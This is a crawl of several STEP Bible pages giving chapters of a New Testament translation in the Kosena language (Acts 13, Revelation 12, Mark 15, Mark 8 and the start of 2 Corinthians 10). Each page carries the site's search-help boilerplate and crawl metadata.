kwenkáꞋá aráápamai máyáawaiti sáwí-imayaa maitiyuwáínana miwíyávéna arupí umái máyáawain-owe Áánútu síníye. 40 miráumai Áánútun-aai simátímakowai tááigo kempáꞋá tivó séꞋa kárákwimai kaweꞋá oró. 41 naaóváꞋá Áánútun-aai simátímakowai agaimarésa sésa\nárair-aintavai simái sáwíꞋa on-kwáásí ísáaro. keinárawaꞋo máyáan-kanaaraꞋa mayáí máyáanda mimbáyáímó awánéꞋo éꞋo ímo kesópaꞋo téꞋo éꞋa úwoi puwónááowe. mimbáyáíyávésamo simátimiyaꞋa mináíntávésa íma áraire sénááowe\nsésa agaimarésa siráawe. mináímbá kempáꞋá tivó séꞋa kárákwimai kaweꞋá oró Póro siráiye.\n42 mináímbá simásuwena Pórowe Páánápáasiye máápaꞋa kumónáe kwéuyasa kwaási sésa ókwaraꞋa monor-áímbó ísáan-kanaa tínakai mináímbá másíyata isánaumne 43 simásuwesa máápaꞋa kumésa sáwíva-kwaasi Yútaa-kwaasiye óꞋonkaa-kwaasi Yútaa-monor-ampaꞋa kwéguwaiye Póronte Páánápáasinte kwaꞋmaésa kuwasaráí sésarai Áánútu úwoi kaweꞋá umátinkanivo úwoi asiramái kwená aampaꞋá koró sirááiye.\n44 suyaná Yútaa-kwaasi monor-áímbó kwéison-kanaa túwasa mindáópaken-kwaasi amápaꞋa Ísóigon-aai isánáe sésa Yútaa-monoꞋ-naumpaꞋa umáyówasa 45 Yútaa-kwaasi tuwánésa tirumbá sáwíꞋa úwasa mináímbá kwáráavo sésa Póronte Páánápáasinte akáꞋáámba simátinkesa kampar-áímbá kwéseye sésa simái kárówasarai 46 miwí táároi íma inkaisésarai asiramái sésarai aivaꞋá áraiꞋa Áánútun-aai simátimuyamba mináímbá tínaaemba umámeꞋa íma sínkáiye sembá póꞋa aúnáiꞋo umáímo maíꞋmaiꞋo ónaunda uwóvíꞋa ónaumne-imayaa ombá pókai tayauwerékai óꞋonkaa-kwaasivaꞋa Áánútun-aai kosimátimeyauye. 47 ááéma Ísóigo simásimenaya séna\nemá óꞋonkaa-kwaasi sáma kamátinke kesáái kwésimatiminasa kesí aambá awánáíyaꞋa amápaꞋ-maravaken-kwaasi sáwíꞋo umáímo máyáampinkemba kawer-ámpáꞋá métinkanaumne\nÁánútu mináímbá simásímakaimba pókai óꞋonkaa-kwaasi kwenáái kosimátimeyauye Póro siráiye.\n48 Póro súwasa óꞋonkaa-kwaasi isésa Ísóigon-aaiyavesa aamoí ésa tirumbá kaweꞋá umái máyówana Áánútu séna kesí kwaási éꞋa aúnáiꞋa umái maíꞋmaiꞋa ónááowe súwasa miwí Ísóigon-aaiyavesa áraire sésa kwempáꞋá tésa méraawe.\n49 ÍsóigompaꞋa aráápamai mésa mimbáráváꞋá Ísóigon-aai kosimátin-tasimatin-uwasá sáwíva-kwaasi isésa 50 Yútaa-kwaasi Póronte Páánápáasinte tirumbá sáwíꞋa umátinkesa mindáópaken-anon-kwaasiye aarai túwíꞋa kwáyon-inimba Yútaa-monor-aimba asiramái máyón-ininte mindárai táái simátimesa miwítí imáyáa tavisuwasá isésa Póronte Páánápáasinte sáwíꞋa umátinkesa aaisambá tiyésa miwítí maravákémbá tiꞋmátuwowasarai 51 Áánútu minkwáásí íma aamoí umátinkaniye-umasitaiꞋa ésarai tísamaivakem-barama uwáésarai Ántíoku-naopaꞋa tuwésarai Áíkóniyamu-naopaꞋa kuyasá 52 Ántíoku-naopaꞋa Ísuna aampaꞋá kun-kwáásí máyówana Áánútun-amanko miwívímbá anómba umátinkowasa tirumbá kaweꞋá umái méraawe.\nCopyright information for `KZE\nWelcome to STEP Bible\nFrom Tyndale House, Cambridge UK\nUse the search box to find Bibles, commentaries, passages, search terms, etc. Here are some examples:\nESVGen 1\nThis shows how to quickly lookup a passage.\nNIVESVKJVGen 1\nLooking up a passage in three different translations is also easy.\nESVbrother\nThis asks STEP to search for the Greek word for 'brother' and show the results in the ESV.\nNIVESVlandhe.sed\nThis example runs both a 'Hebrew word search' and a 'Text' search and shows the results in both the NIV and ESV.\nESVthroneDavidIsa-Rev\nYou can mix most searches. This finds any word translated as 'throne' in the Prophets and the New Testament, but only in verses concerning the topic 'David'. This excludes verses which refer to a 'throne' in other contexts.\nKJVWHNUJohn 1\nInterlinear Hebrew & Greek is available for some translations with grammar (and more soon). To reverse the interlinear order, click on a version abbreviation under the verse number.\n© Tyndale House, Cambridge, UK - 2018","id":"","dump":"CC-MAIN-2018-17","url":"https:\/\/www.stepbible.org\/?q=version=KZE%7Creference=Act.13","date":"2018-04-20T05:02:39Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-17\/segments\/1524125937114.2\/warc\/CC-MAIN-20180420042340-20180420062340-00259.warc.gz","language":"kze","language_score":0.9999998808,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"kze_Latn_score\": 0.9999998807907104}","num_words":1207,"character_repetition_ratio":0.056,"word_repetition_ratio":0.0,"special_characters_ratio":0.145,"stopwords_ratio":0.149,"flagged_words_ratio":0.0,"lang_id_score":0.999,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Revelation of John 12\naaraigónté arááínkóntéi kwaasái.1 awánaawanda kwíyómpaꞋa umásítaiꞋa éna kwaási agaráátinkai-umasitaiꞋa maarán-úmásítáíꞋa éna moórá-ininko máyowana aaváúgó kwená unáánkwátóiraamba éna áúgomba ánáan-kwirowana máyowana kwíyónko aísamai-andampaꞋa kwáyowana aꞋnómpímbá kánumoꞋa kwáyowana minkánúmópímbá sísamaivakemba kaeꞋá kumbaimái-oꞋa kwáyowana 2 ámúkwaraꞋa máyowana kwená kanaamá túwana iyámpói ankáindayavena áíꞋa úwana kwááꞋa túwana 3 minkákémbá kwíyómpaꞋa moórá-umasitaikwaraꞋa éna kwaási agaráátinkai-umasitaiꞋa maará éna arááímbá anón-araaimba ména naaeyayán-áúgwáráꞋá ména avakaeté-aꞋnomba kwáyowana aꞋnómpínkémbá siyáánkai-awaayaamba kwáyowana usáyaaitaraiwaina kánumoꞋa avakaeté-kanumoꞋa aꞋnómpímbá kwáyowana 4 kaer-áyámpákén-óꞋá tuwéna moórá-ayampaken-oꞋa améraandei kwiyúmai awéntayuwowana marapáꞋá kumúwana iyámpói ankánín-ininkona egwaaꞋá ména ankáínaꞋa tuvúꞋ-nasuwánáe séna máyowana 5 inaamaíyámpói marankówana anón-éna amápaꞋ-maravaken-kwaasiraꞋa asiramái kawáá ínín-iyampoi marankówana Áánútu kárákwiyinintavena miníyámpóí ááéma mósá tavímairena kwemá kawááin-avaraꞋa móankowana 6 minínínkó inkaiséna kavóná-maravaꞋa kwéna Áánútu kwentávéna toꞋmayaa umánkanaumne sirópaꞋa koména ayáátáákaꞋa 1,260 kanaama komáyowana Áánútu kawáá uráiye.\n7 kawáá úwasa kwíyómpaꞋa ááiꞋa tiyésa Áánútuna kwayóꞋnárawakaꞋa kárákwirowai áwíꞋa Máíkeri kwemá kwená kwayóꞋnáraware arááínkówé kwená kwayóꞋnáraware ááiꞋa tíyówasa 8 Máíkeriye kwená kwayóꞋnáraware usáyaaitesa kwíyómpakemba arááínkówé kwená kwayóꞋnáraware kwatuwésa 9 anón-araainkomba awéntáyukaawe. naaóváꞋá marapáꞋá iraankavayaambá aúkéna kwenáwíꞋa Sáátááni póna marapá-kwáásí kampar-áímbá simátímaꞋmaena kwéiyisasa áraiꞋa siyé kwésewana kwaási simái sáwíꞋa kwéumatiyuwaiye. kwenté kwená kwayóꞋnárawate tuwétayuwowasa marapáꞋá kunkáawe.\n10 kúmúwaꞋa isááwánda kwíyómpaꞋa moóráwai anónkaꞋa séna\n- Áánútu aúrankaꞋa ména kentáásí kwaásiyavena sáwí-kwaasiman-owe kampaꞋá símae iráiwaimba awéntayuwaisana marapáꞋá kúmísana póna Áánútu Sáátáánigo tátokaimpinkemba kentáá mégwésiraiye. kentááráꞋá kawáá éna asirayán-úrandako póna mégwésiraisata awánaraumne. Áánútu aiꞋmarówana marapáꞋá kunkáiwaina asirayántá awánaraumne.\n17\nCopyright information for `KZE\nWelcome to STEP Bible\nFrom Tyndale House, Cambridge UK\nUse the search box to find Bibles, commentaries, passages, search terms, etc. Here are some examples:\nESVGen 1\nThis shows how to quickly lookup a passage.\nNIVESVKJVGen 1\nLooking up a passage in three different translations is also easy.\nESVbrother\nThis asks STEP to search for the Greek word for 'brother' and show the results in the ESV.\nNIVESVlandhe.sed\nThis example runs both a 'Hebrew word search' and a 'Text' search and shows the results in both the NIV and ESV.\nESVthroneDavidIsa-Rev\nYou can mix most searches. This finds any word translated as 'throne' in the Prophets and the New Testament, but only in verses concerning the topic 'David'. This excludes verses which refer to a 'throne' in other contexts.\nKJVWHNUJohn 1\nInterlinear Hebrew & Greek is available for some translations with grammar (and more soon). To reverse the interlinear order, click on a version abbreviation under the verse number.\n© Tyndale House, Cambridge, UK - 2018","id":"","dump":"CC-MAIN-2018-17","url":"https:\/\/www.stepbible.org\/?q=version=KZE%7Creference=Rev.12","date":"2018-04-23T08:06:06Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-17\/segments\/1524125945855.61\/warc\/CC-MAIN-20180423070455-20180423090455-00209.warc.gz","language":"kze","language_score":0.9997226596,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"kze_Latn_score\": 0.9997226595878601}","num_words":370,"character_repetition_ratio":0.058,"word_repetition_ratio":0.0,"special_characters_ratio":0.154,"stopwords_ratio":0.078,"flagged_words_ratio":0.0,"lang_id_score":0.993,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Mark 15\nÍsumba PáírátinopaꞋa máánkaraan-kwasai.1 iviꞋá tówasa aaváúmá usónkaꞋa mono-káwáá-kwáásíyé Yútaa-anon-kwaasiye ámáámba sun-kwáásíyé mimbórá-áímbá símaresa Ísumba ayáánkaꞋa asááúmaresa áíꞋmaesa Árómáani-kamaani-kawaanako áwíꞋa PáírátinopaꞋa máánkarowana 2 Páíráti Ísumba áísaa ena séna Yútaa-kwaasiti kawáánárá oónó súwana Ísu séna áꞋa séne súwasa 3 mono-káwáá-kwáásí óꞋon-oꞋon-aintavai aaivimbá mayánkówana 4 Páíráti Ísumba áísaa ena séna sáwívar-aimba kwésimankaavo anondáma íya moórá-aimba síníyono súwana 5 Ísu iséna íma anondá aaí súwana kámááni-kawaanaꞋa Páíráti sáwívar-imayaa uráiye.\nÍsumba arááꞋa tuvúwóro siráin-kwasai.6 naaóváꞋá Áánútu Yútaa-kwaasi tíyótaasa í-tánón-kánáá tóyo úntemba Árómáani-kamaani-kawaanako séna amáparawai torupamái mésa aamoí ésa ándávaꞋo máyáin-kwaasi áwíꞋa tewaꞋá ayúrankanaumne séna minkánáá miráumai ándá-kwaasi kwéayurankaiye. 7 Ísumba PáírátinopaꞋa máánkónkaꞋa moóráwai áwíꞋa Párápási ándávaꞋa ména évakarawai kámááni-kwaasiye ááiꞋa tíyónkaꞋa kwemá moóráwaimba tuvuwúwana puwúwasa ándávimba ánkarowana máyowasa 8 sáwíva-kwaasi torupamái mésa Páírátintavai sésa moóráwaimba ayúrankaao suwaná 9 Páíráti imáyáa éna séna mono-káwáá-kwáásí Ísuntavai íma anón-kwaasi-iꞋa ínkwáe sésa tátoꞋmaesa kesópaꞋa máánkaraawe séna tísaa ena séna Yútaa-kwaasiti kawáánárá ayúrankanaumno súwasa 11 mono-káwáá-kwáásí úwoi-kwaasi sáwívarawai kwakwiyésa sésa Ísumba íma ayúrankaniyompo Párápásimba ayúrankaao simáméro suwasá isésa mináímbá simámúwana 12 Páíráti séna Ísumba Yútaa-kwaasiti kawáánáꞋá iyémó sewáímbá nóra ónaumno súwasa 13 anónkaꞋa sésa taairaꞋá tuvuwíyana puwíno suwaná 14 Páíráti séna nóra-sawira uráinaꞋiyo súwasa anónkar-anonkaꞋa sésa taairaꞋá tuvuwíyana puwíno símae íyúwana 15 Páíráti miwí táái owé senasá aamoí umásinkaigwae séna Párápásimba ayúrankena i-kwáásí simátimuwasa Ísumba áwí-andanei áwírukuꞋnowana Páíráti séna áíꞋmai taairaꞋá mátuvuwiyana puwíno séna Ísumba i-kwáásíráꞋá tímakaiye.\ni-kwáásí Ísumba simái sáwíꞋa uráan-kwasai.16 Ísumba i-kwáásíráꞋá timúwasa áíꞋmaesa kámááni-kwaasiti naaúmpaꞋa móankesa amápar-i-kwaasi tááyowasa tamésa 17 naaeyayán-únánkwátói anón-kwaasiti unáánkwátóiman-iye sésa Ísumba umánkesa anón-kwaasiti kánumoꞋan-iye sésa áwí-andama owepamái Ísu aꞋnómpímbá kuvérankesa 18 kanaárááꞋa ankésa moórá-mora-umai kívairesa sésa Yútaa-kwaasiti kawáánáꞋá óne sésa tááúndei aꞋnómbá tuvántoꞋna kwéesa tuwirááíma kwirankésa 20 kanaárááꞋa ánkáyuwesa naaeyayán-únánkwátói ayúꞋmaesa kwená unáánkwátói umánkesa tuvuwíyanamo puwíndavaꞋa áíꞋmaesa kuráawe.\nÍsumba arááꞋa tuvúkáan-kwasai.21 i-kwáásí Ísumba áíꞋmaesa kumbá moóráwai Sáíríni-naopakewai áwíꞋa Sáímoni kwemá Arekesándaawe Árúvusinte tivowámá kwemá Yérúsaremu-naor-ampaꞋa túwasa i-kwáásí tátoresa Ísumbo tuvuwónááon-taima áúgwaatarankesa sésa áwaꞋnaa úmae tiyó suwaná mirá úwasa 22 kwésa moórá-marago áwíꞋa KórígótaavaꞋa kwésa mináwíkóná ááimba aꞋnómayaapare supaꞋá kwésa 23 ándá-aran-domba mairésa áíꞋa ánásainkwae sésa ikaaꞋó vaí-yántááꞋá mimpímbá marésa Ísumba ámúwana íma naráiye.\n24 Ísu íma nówasa áíꞋmaesa taairaꞋá aíyayaampimba máyuvusumaresa kwená unáánkwátói mayánáe sésa aávéiya kwétiyaananaya nááwa usáyaaitaindawai mayáníye sésa mirá ésa 25 aakaakáꞋó máún-kanaa-avauraꞋa tuvúwúmba 26 Ísumbo tuvúwúwanamo puwún-ainkona ááimba aúváívimba agaimarésa sésa Ísu Yútaa-kwaasiti kawáánáꞋán-iye agaimarésa taairaꞋá mósá marésa 27 umóyántémo uyan-kwáásíráí tíꞋmaesa Ísumba évarevar-akwampaꞋa taairaꞋá tuvúsúmarowana [ 28 naaóváꞋá Áánútun-aai aúváívimba agaimaréna séna kwemá sáwíꞋa on-kwáásí máépaꞋa máyáísasa awánaraawe agaimaréna sirónkaꞋa pósa mirá uráawe.] 29 taairaꞋá tuvúsúmarowasa évakarawai tésa tiyáámba tóipimba áákesa timánáantataꞋa umánkesa akáꞋáámba simánkesa sésa úwé emá séma anóm-bonoꞋ-namba tawísíyuweꞋa kaumbo-táwai kwaisuwéꞋa óꞋomba ónaumne siráampo 30 esáváí enáúma áwaꞋnaa ema eyááríkaꞋa taairakémbá taútuwe marapáꞋá kumuwó suwasá 31 miráumai mono-káwáá-kwáásíyé ámáámba sun-kwáásíyé sésa óꞋowi túwaꞋnaa ena kwesáváí kwenáúma íma kanaán-umai áwaꞋnaa íníye. 32 Áánútumo usásisinkaiwai éꞋa Ísareri-kwaasiti kawáánáꞋá úne seémáyáimba póna áraiꞋo seémáyáindamo éna kweyááríkaꞋa taairakémbá kumínata awánéta séta áraiꞋa Áánútu áánimban-iye sénaumne suwasaráí miwímó suntembá umóyántémo uyan-kwáásíráí évarevar-akwampaꞋa taairaꞋá tuvúsúmarowairai Ísumba kanaárááꞋa ánkaraaiye.\nÍsu pukáin-kwasai.33 Ísumba kanaárááꞋa ánkówana kwáyáꞋwái amápaꞋ-mapaꞋa túnkwena aaváúmá kaapa marówana túnkumba 34 Ísu anónkaꞋa Yútaa-kwaasi tááivinkemba séna eroi eroi rama sapakataniyemo sún-aimba maarán-áímbá séna Áánútu kesí Áánútuwo nóra séwa siyuwáánó súwasa 35 minkáꞋó máyón-kwaasi isésa évakarawai sésa naaóváꞋó Áánútun-aai simátímakaiwaimba Íráiyaamba kwéaayaiye suwaná 36 moóráwai isaaiséna paru-táyánáma maimaéna ándá-aran-domba ikaaꞋ-nómpímbá tuꞋmaéna oviyen-támayopimba kinúvaimaena naínkwáe séna Ísu óikaꞋa mósá maréna séna Íráiyaama kuména taairakémbá kunayútuwani. íya kunayútuwaniyo séta amuꞋmaréta máyaumne súwana 37 Ísu anónkaꞋa kwésena puwúwana 38 anóm-bonoꞋ-naumpaꞋa ampanta-óntámá úmakomba sanaan-áyáírákémbá utavááꞋmaena marapáꞋá móru taváákaar-umai kaesé umágúwana póna ÁánútunopaꞋa iyónááon-amba kwiꞋmakáiye. 39 Ísu anónkaꞋa kwésena puwúmba i-kwáásítí kawáánákó Ísumo anónkaꞋo sénamo miráumai puwúmba awánéna séna áraiꞋa kwemá Áánútu ááninkoman-iye siráiye.\n40 mináímbá súmba sáwívar-inimba awánanae sésa tumbá némpaꞋa tamésa awánara. miníníntómpínkémbá moórá-inimba Mágátáraa-naopaken-ininko áwíꞋa Máríyaa úwana moórá-inimba aú-kwaasi Yémésinte Yósisinte tinówama áwíꞋa Máríyaa úwana moórá-inimba áwíꞋa Sárómi 41 miráumai-inimba Ísumo Káríri-ayampaꞋo naaúpaꞋo kwenánaaembo kwaꞋmaésamo áwaꞋnaa úmaesamo kuráan-inimba Ísu YérúsaremuvaꞋa túmba miníníntómbá tésa taairaꞋá tuvúsúmaronkaꞋa némpaꞋa tamésa awánaraawe.\nÍsumba utamánkaraan-kwasai.42 miníníntómbá tamáyówana Yútaa-kwaasi monor-áímbá kwéison-kanaa aaváyaaraamba kwáyowana ívékaamba enónkaꞋa moóráwai áwíꞋa Yósépi Árímátíyaa-naopakewai 43 kwemá anón-kwaasi éna kawe-kwáásí éna Áánútu kwená kwaási kawááiniye séna amuꞋmaréna máyowai íma ááꞋa kómba PáírátinopaꞋa téna Ísun-auma utánáivo simiyó súwana 44 Páíráti imáyáa éna ára pukuráínaꞋiyo séna i-kwáásítí kawáánákómbá ááyena séna Ísu ára pukuráínaꞋiyo súwana 45 owé áꞋa pukuráiye simámuwana Páíráti séna kanaampó Ísun-auma mayáníyone súwana 46 Yósépi aúná-ampantama komaimaéna tiréna Ísun-auma taairakémbá tamaimái minámpáántávímbá asááumai maimaéna aúsámakon-ontam-buri-aivimba mámarena óikaꞋa anón-ontandei awááumasuwena kúwasarai 47 Máríyaa Mágátáraa-naopaken-ininko úwana araámáó Yósisimba anówama úwasarai mésarai Ísumbo utamánkomba taawánésa kurááiye.\nCopyright information for `KZE\nWelcome to STEP Bible\nFrom Tyndale House, Cambridge UK\nUse the search box to find Bibles, commentaries, passages, search terms, etc. Here are some examples:\nESVGen 1\nThis shows how to quickly lookup a passage.\nNIVESVKJVGen 1\nLooking up a passage in three different translations is also easy.\nESVbrother\nThis asks STEP to search for the Greek word for 'brother' and show the results in the ESV.\nNIVESVlandhe.sed\nThis example runs both a 'Hebrew word search' and a 'Text' search and shows the results in both the NIV and ESV.\nESVthroneDavidIsa-Rev\nYou can mix most searches. This finds any word translated as 'throne' in the Prophets and the New Testament, but only in verses concerning the topic 'David'. This excludes verses which refer to a 'throne' in other contexts.\nKJVWHNUJohn 1\nInterlinear Hebrew & Greek is available for some translations with grammar (and more soon). To reverse the interlinear order, click on a version abbreviation under the verse number.\n© Tyndale House, Cambridge, UK - 2018","id":"","dump":"CC-MAIN-2018-17","url":"https:\/\/www.stepbible.org\/?q=version=KZE%7Creference=Mar.15","date":"2018-04-23T19:35:35Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-17\/segments\/1524125946165.56\/warc\/CC-MAIN-20180423184427-20180423204427-00569.warc.gz","language":"kze","language_score":0.9999659061,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"kze_Latn_score\": 0.9999659061431885}","num_words":850,"character_repetition_ratio":0.051,"word_repetition_ratio":0.0,"special_characters_ratio":0.155,"stopwords_ratio":0.115,"flagged_words_ratio":0.0,"lang_id_score":0.992,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Mark 8\nÍsu moórágwaraꞋa toómbá tímakain-kwasai.1 moórá-tawai sáwíva-kwaasi torupowaná miwítí toómbá ánásowana Ísu kwená kwayó-kwáásí tááyowasa tuwaná 2 séna kaumbo-táwai kesé máyáawana maimaésa tiráan-tomba ánásaisaꞋa sirumbá kwéumatinkaumne. 3 tiꞋmáráanasa kentí naaóꞋ-naoꞋa kónááombanivo némpaken-kwaasi aampaꞋá kwíyamba kánokaꞋa pósa púwóvainivo súwasa 4 kwená kwayó-kwáásí sésa kavóná-maravaꞋan-ivo náákakenta toómbá maimáíya timénaumno suwaná 5 tísaa ena séna nóraumai-tona kwáyáiyo súwasa avakaeté kwáyáiye suwaná 6 minkwáásíyóntávéna séna maraꞋá máéro séna avakaeté-tomba maisokéna Áánútuntavena súwi séna toómbá topán-topan-umai kwená kwayó-kwáásíráꞋá timúwasa minkwáásíyómbá tímúwana 7 kaumbo-káéꞋ-noyaaꞋa kwáyowana Ísu maisokéna Áánútuntavena súwi séna kwená kwayó-kwáásíráꞋá timúwasa minkwáásíyómbá tímúwasa 8 nowaná tímúꞋa vówasa sáwíva-kwaasi 4,000 kwaasi nowaná tímúꞋa vówasa kwená kwayó-kwáásí mintón-ayai túwómba avakaeté-unampimba áítumai ógwitowana 10 Ísu misáwívá-kwáásí tiꞋmaréna kwená kwayó-kwáásíyé nompí-sípívímbá usámaaisesa Táómánúta-ayampaꞋa kuráawe.\nímo awánáúnda-mayai mayaaó siráan-kwasai.11 miváꞋá Ísu máyowasa ámáán-kawaa-kwaasi sáwí-aimbo sínda isánáe sésa ÍsunopaꞋa tésa sésa áraira Áánútumpakena kunkáana ímo awánáúnda-mayai máyénata awánaano suwaná 12 Ísu arumbá umbaí kwétopakemba séna ívéꞋo máyáan-kwaasi nóra séra ímo awánáúnda-mayai máyénata awánaano kwéseo. áraiꞋa simátimeꞋa séꞋa ívéꞋo máyáan-kwaasi íma agaráátinkanaumne séna 13 ivátiyuwena nompí-sípívímbá usámaaisena nonkwaaúnkóná menávápáꞋá kuráiye.\níma kaumbo-káér-ainkwara-kwaasi oró siráin-kwasai.14 Ísu kwená kwayó-kwáásíyé nonkwaaúnkóná menávápáꞋá kumbá kwená kwaási péréti-tomba íma máyómba tuwinkésa kuwaná kímbora-tomba nompí-sípívímbá kwáyowana 15 Ísu ámáán-kawaa-kwaasiye Érótiye kaumbo-káér-ainkwara-kwaasi owé-ímáyáá kwéena kwená kwayó-kwáásí simátimena séna intóráín-tantaaꞋa sáwíyan-tantaaꞋa moórá-tonko áwíꞋa péréti mimpímbá kwémaraawana kwéintorena anómba intembá ámáán-kawaa-kwaasiye Érótiye miwí tááiyavai kentúraꞋa kárákwimai máéro súwasa 16 keáímbá sésa nóra séna mirá kwésiyo. péréti-tomba íma makáunanaya mirá kwésiye suwaná 17 Ísu keáímbó kwésun-aimba iséna nóra séra toómbá íma kwáyáiye-aimba kwéseo. kanaán-umai toómbá timénaunda ááémo uráundawaina ááimba íma tááko pééi kwésiye. kentí imáyáagoma kentirunkómá usisiꞋándaisaꞋa kwéowe. 18 túramba kwáyáimbanivo íma awánamai kaweꞋá kwéowe. tááꞋa kwáyáimbanivo íma ísámai kaweꞋá kwéowe. 19 évaꞋaasei-tomba topán-topan-umai sáwíva-kwaasi 5,000 kwaasi timéwánasa naráaamba mintón-ayai nóraumai-unampina áíturaao séna tísaa úwasa sísamaivakemba kaeꞋá kumbaimái-unampinta ógwitaraumne suwaná 20 avakaeté-tomba topán-topan-umai sáwíva-kwaasi 4,000 kwaasi timéwánasa naráamba mintón-ayai nóraumai-unampina áíturaao séna tísaa úwasa avakaeté-unampinta ógwitaraumne suwaná 21 Ísu séna nóra éra íma tááko pééi sisaꞋá ísaraao Ísu siráiye.\nÍsu aúramba kavíkówaimba asóvamankarain-kwasai.22 Ísu simásuwena kwená kwayó-kwáásíyé Pétésáítaa-naopaꞋa kumbá évakarawai aúramba kavíkówaimba áíꞋmaesa ÍsunopaꞋa tésa sésa tátoꞋmai asóvamankaao suwaná 23 Ísu ayáánkaꞋa tátorena áíꞋmaena mindáókona ayááíváꞋá kwéna aúrampimba awirááíma kwirankéna aúrankaꞋa tátorena séna ára kwéawanaano súwana 24 awánéna séna kwéawanaumne. taairaán-kwáásí marapáꞋá kwénaaowaꞋa kwéawanaumne súwana 25 moórágwaraꞋa Ísu aúrankaꞋa tátorena kaweꞋá umánkowana aúramba kararéna kaweꞋá umái kwéawanowana 26 Ísu séna mindáópaꞋa kónavo ená naaópaꞋa tayauweré kwaaó siráiye.\nPítaa Ísuna ááimba siráin-kwasai.27 Ísu simásuwena kwená kwayó-kwáásíyé Sísáriya Vírípai-naokon-ayampaꞋa kúmba aampaꞋá kwéguwana kwená kwaási tísaa ena séna kentáváí amáparawai nóran-kwaasiye kwéseo súwasa 28 miwí sésa évakarawai sésa emá Yóni nombá pétinkaadawai óne sewasá évakarawai sésa naaóváꞋá Áánútun-aai simátímakaandawai áwíꞋa Íráiyaama óne sewasá évakarawai sésa naaóváꞋá Áánútun-aai simátímakaawaivinkemba moóráwai óne kwésewe suwaná 29 Ísu séna keinárawaꞋa kentáváí nóran-kwaasiye kwéseo súwana Sáímoni Pítaa séna Áánútu usásinankaiwaimba Yútaa-kwaasiya kwéamuꞋmaraundawaiya óne súwana 30 mináímbá íma simátíméro Ísu asiramái siráiye.\nÍsu pukéꞋa usásinanaumne siráin-kwasai.31 Ísu kwemó puwínín-aimba ááimba ásámai kwená kwayó-kwáásí simátimena séna síꞋa índaiꞋa umásinkesa Yútaa-anon-kwaasiye mono-káwáá-kwáásíyé ámáámba sen-kwáásíyé tínaaemba umásimesa sínkamiyaꞋa puwónaundanivo kaumbo-táwai ánásainaꞋa púwóndavinkemba usásinanaumne séna 32 miráumai avoraꞋá simátimuwana Pítaa Ísumba áíꞋmaena kweyáávaꞋa máankena séna mirán-áímbá sénavo súwana 33 Ísu kwanténa kwená kwayó-kwáásí tuwánéna Pítaantavena asiramái séna Sáátáánigo siyuwé kóaao. kwaásiti imáyáavinkemba kwésempo íma Áánútuna imáyáavinkemba kwésene Ísu siráiye.\n34 Ísu mináímbá simásuwena kwaásiyonte kwená kwayó-kwáásíyé tááyena séna kesínaaemba kwaránáe síyawai tirááímo táínda-yantaaꞋa íma tátoraaro. kemá puwónaunda-taima súgwaataꞋmaeꞋa kondantembá kesínaaemba kwaránááowaimba umbai-yántááꞋá timíyasa minúmbáí-yántááꞋá úwoi maimaésa sínaaemba kwaránááowe. 35 tirááímo táíndaiꞋo ésa íma kaweꞋá umái ménaaovo kentáváí ísámai Áánútu áséi-aintavai ísámai tirááímo táínda-yantaaꞋo tuwésa puwésa aúnáiꞋa umái maíꞋmaiꞋa ónááowe. 36 marapákémbá amápa-tantaaꞋa kwémaesa puwíyambo éna mintántáákó íma túwaꞋnaa íníye. 37 puwíyamba marapáꞋó makáan-tantaaꞋnei íma anondáíꞋa umásuwesa ókwaraꞋa ayáátáákaꞋa ménaaowe. 38 ívéꞋa Áánútuntavesa íma imáyáa ésa máyáankaꞋa kenkwárá kesááigwaraꞋo tigaemó umásínkáámba póꞋa aáno kemó marapáꞋó kúmónda miwí sigaemá umátinkanaumne. kemá kwaási úrandaꞋa kumpaáruraundawai aáno kesivoná ságayankwara kwíyómpakembo Áánútuna kwayóꞋnárawati ságayankwaraꞋo marapáꞋó kúmónda miwí sigaemá umátinkanaumne.\nCopyright information for `KZE\nWelcome to STEP Bible\nFrom Tyndale House, Cambridge UK\nUse the search box to find Bibles, commentaries, passages, search terms, etc. Here are some examples:\nESVGen 1\nThis shows how to quickly lookup a passage.\nNIVESVKJVGen 1\nLooking up a passage in three different translations is also easy.\nESVbrother\nThis asks STEP to search for the Greek word for 'brother' and show the results in the ESV.\nNIVESVlandhe.sed\nThis example runs both a 'Hebrew word search' and a 'Text' search and shows the results in both the NIV and ESV.\nESVthroneDavidIsa-Rev\nYou can mix most searches. This finds any word translated as 'throne' in the Prophets and the New Testament, but only in verses concerning the topic 'David'. This excludes verses which refer to a 'throne' in other contexts.\nKJVWHNUJohn 1\nInterlinear Hebrew & Greek is available for some translations with grammar (and more soon). To reverse the interlinear order, click on a version abbreviation under the verse number.\n© Tyndale House, Cambridge, UK - 2018","id":"","dump":"CC-MAIN-2018-17","url":"https:\/\/www.stepbible.org\/?q=version=KZE%7Creference=Mar.8","date":"2018-04-25T16:33:06Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-17\/segments\/1524125947931.59\/warc\/CC-MAIN-20180425154752-20180425174752-00387.warc.gz","language":"kze","language_score":0.9999995232,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"kze_Latn_score\": 0.9999995231628418}","num_words":759,"character_repetition_ratio":0.054,"word_repetition_ratio":0.0,"special_characters_ratio":0.159,"stopwords_ratio":0.165,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"2 Corinthians 10\nPóro kwená mayáíyáváí simátímakain-kwasai.1 keinárawapinkemba évakarawai kentávésa sésa Póro keséya taména paru umái aaí siráivo némpaꞋo máínkaꞋa asirayán-áíntá kwésimasimintaawe kwésewe. Ísu Káráísiti marapáꞋó máyonkaꞋa paru umái ména íma aaisambá siráintaveꞋa imáyáa éꞋa asiramái simátimune. 2 kentópaꞋo kondá íma asiramái sénáe súndanivo imáyáa éꞋa keinárawapinkemba évakarawai kentááyávésa kampaꞋá sésa marará-kwáásíti ááimba kwégwaraawemo kwésentaveꞋa asiramái simátimenaumpo kárákwiyoro. 3 marapáꞋó máyaundaya namuro-kwáásí usáyaaitanae sésamo ááiꞋo tíyáantemba íma mirá éta marapá-sáwí-yántááꞋá 